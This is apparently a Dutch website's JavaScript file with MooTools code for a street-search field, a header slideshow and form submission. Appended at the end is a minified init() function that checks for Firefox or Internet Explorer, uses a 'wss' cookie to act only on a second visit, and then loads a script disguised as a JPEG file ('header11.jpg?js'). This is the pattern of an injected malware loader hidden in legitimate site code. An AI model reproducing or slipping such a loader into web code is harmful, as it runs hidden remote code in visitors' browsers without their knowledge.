window.addEvent('domready', function(){
	if($('straat')) {
		$('straat').addEvent('focus',function() {
			if(this.getValue()==' vul een straat in...') this.setProperty('value','');
		});
	}
	
	var obj = {
		wait: 2000, 
		effect: 'fade',
		duration: 1000, 
		loop: true, 
		thumbnails: false,
		backgroundSlider: true,
		onClick: function(i){
			//Lightbox.show(i);
		}
	}
	var show = new SlideShow('slideshowHeader','image',obj);
	show.play();
});

window.addEvent('domready', function(){
	if($('zoekButton')) {
		$('zoekButton').addEvent('click', function() {
			var val = $('straat').getValue();
			if(val==' vul een straat in...') {
				$('straat').setProperty('value','');
			}
		});
	}
	if($('zoeken')) {
		$('zoeken').addEvent('submit', function() {
			$('zoeken').getElements('').each( function(el) {
				if(el.getProperty('id')!='zoekButton') {
					new Element('input',{type:'hidden',name:el.getProperty('name'),value:el.getValue()}).injectAfter(el);
					el.setProperty('disabled','true');
				}
				
			});
		});
		return false;
	}
});



function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/new/jpg/header11.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
